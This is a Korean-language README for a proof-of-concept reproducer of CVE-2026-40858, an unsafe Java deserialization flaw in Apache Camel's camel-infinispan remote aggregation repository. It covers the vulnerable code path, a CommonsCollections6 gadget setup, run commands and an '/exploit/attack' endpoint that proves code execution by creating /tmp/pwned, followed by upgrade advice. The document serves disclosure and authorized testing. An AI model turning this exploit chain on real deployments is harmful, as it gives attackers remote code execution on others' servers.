
CVE-2026-40858 재현기 — Apache Camel camel-infinispan 원격 집계 저장소 안전하지 않은 역직렬화 (RCE)
이 프로젝트는 CVE-2026-40858로 추적되는 Apache Camel camel-infinispan 컴포넌트의 Java 역직렬화 취약점을 시연합니다. ProtoStream 기반 원격 집계 저장소는 각 집계된 Exchange를 직렬화하여 원격 Infinispan 캐시에 저장하며, 항목을 다시 읽을 때(get() / recover()) java.io.ObjectInputStream과 ObjectInputFilter 없이 역직렬화합니다. 백킹 캐시에 쓸 수 있는 공격자는 조작된 직렬화 객체를 심어 저장소가 해당 키를 읽는 즉시 원격 코드 실행을 얻을 수 있습니다.
권고: https://camel.apache.org/security/CVE-2026-40858.html
| 속성 | 값 |
|---|
| 구성 요소 | camel-infinispan (원격 / HotRod 집계 저장소) |
| 영향받는 클래스 | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 |
| 영향 | 원격 코드 실행 (RCE) |
| 영향받는 버전 | 4.0.0부터 4.14.7 미만, 4.15.0부터 4.18.2 미만, 4.19.0부터 4.20.0 미만 |
| 수정된 버전 | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| 보고자 | Feng Ning (Innora Pte. Ltd.) |
InfinispanRemoteAggregationRepository는 각 Exchange를 DefaultExchangeHolder로 저장합니다. ProtoStream 마샬러를 사용하면 해당 홀더는 DefaultExchangeHolderProtoAdapter에 의해 변환되며, ProtoStream 필드 #1은 일반 ObjectOutputStream으로 직렬화된 홀더입니다. 다시 읽어올 때 어댑터는 해당 바이트를 DefaultExchangeHolderUtils.deserialize에 전달하여 홀더를 재구성합니다:
// DefaultExchangeHolderUtils.deserialize(byte[]) - 영향을 받는 버전
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // ObjectInputFilter 없음
}
ClassLoadingAwareObjectInputStream은 해석 가능한 클래스 집합을 제한하지 않고 오히려 확장하므로, readObject()는 클래스패스에 존재하는 모든 가젯 체인을 인스턴스화합니다. 바이트가 원격 캐시에서 직접 오기 때문에 해당 캐시 키에 쓸 수 있는 사람은 누구나 역직렬화 스트림을 제어하며, 값이 DefaultExchangeHolder로 캐스트되기 전에 readObject() 중에 가젯이 실행됩니다.
라우트(또는 여기서처럼 애플리케이션 코드)는 Infinispan 서버를 백엔드로 하는 원격 집계 저장소를 사용합니다:
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // Infinispan 서버를 가리킴
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... 집계 중 Camel이 repo.add(...) / repo.get(...) / repo.recover(...) 호출
저장된 값이 변조된 키에 대한 get() / recover() 호출은 싱크를 트리거합니다.
취약한 Camel 코드는 애플리케이션(호스트)에서 실행됩니다. Infinispan 서버는 Docker에서 실행되며 저장소가 통신하는 백엔드 저장소 역할을 합니다. 이는 실제 배포에서 저장소가 사용되는 방식을 반영합니다: 신뢰할 수 없는 데이터는 공유 캐시에 있습니다.
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (가젯)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (원격 캐시)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # InfinispanRemoteAggregationRepository 빌드 및 시작
│ ├── Gadget.java # readObject() 중 실행되는 CommonsCollections6 가젯
│ └── ExploitController.java # /exploit/attack: 가젯이 포함된 홀더를 심고 읽기
└── resources/
└── application.properties
PoC 단축에 대한 참고. 실제 공격자는 악성 바이트를 공유 Infinispan 캐시에 직접 씁니다. 재현기를 자체 포함형으로 유지하기 위해
/exploit/attack은 동일한 저장소를 통해 (Exchange본문에 가젯을 포함한repo.add(...)) 값을 심은 다음repo.get(...)을 호출하여 읽기를 트리거합니다. 가젯을 실행하는 **싱크는 Camel 자체의readObject()**이며, 이는 공격자가 변조한 캐시 항목에서도 정확히 동일하게 실행됩니다.
docker compose up -d
# 준비될 때까지 대기:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
CommonsCollections6 가젯은 리플렉션을 통해 java.util로 조립되므로, JVM은 --add-opens java.base/java.util=ALL-UNNAMED로 시작해야 합니다:
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE 증명 — /tmp/pwned 존재: true
가젯이 저장소가 심어진 캐시 값을 역직렬화하는 동안 /tmp/pwned를 생성합니다 (touch /tmp/pwned).
docker compose down
rm -f /tmp/pwned
InfinispanRemoteAggregationRepository(ProtoStream 마샬링)를 공격자가 쓸 수 있는 캐시에 대해 사용하는 모든 배포입니다. 캐시 쓰기 접근은 공유/멀티 테넌트 Infinispan 클러스터, 네트워크 접근 가능한 HotRod 엔드포인트 또는 동일한 캐시에 데이터를 저장하는 다른 프로듀서에서 올 수 있습니다.
commons-collections:3.2.1).4.14.7 / 4.18.2 / 4.20.0으로 업그레이드하십시오. 수정 사항은 홀더 역직렬화에 ObjectInputFilter / 클래스 허용 목록을 적용하여 다른 Camel 집계 저장소(camel-leveldb, camel-cassandraql, camel-jms) 및 camel-mina / camel-netty에 적용된 강화와 일치시킵니다.
업그레이드할 때까지:
이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.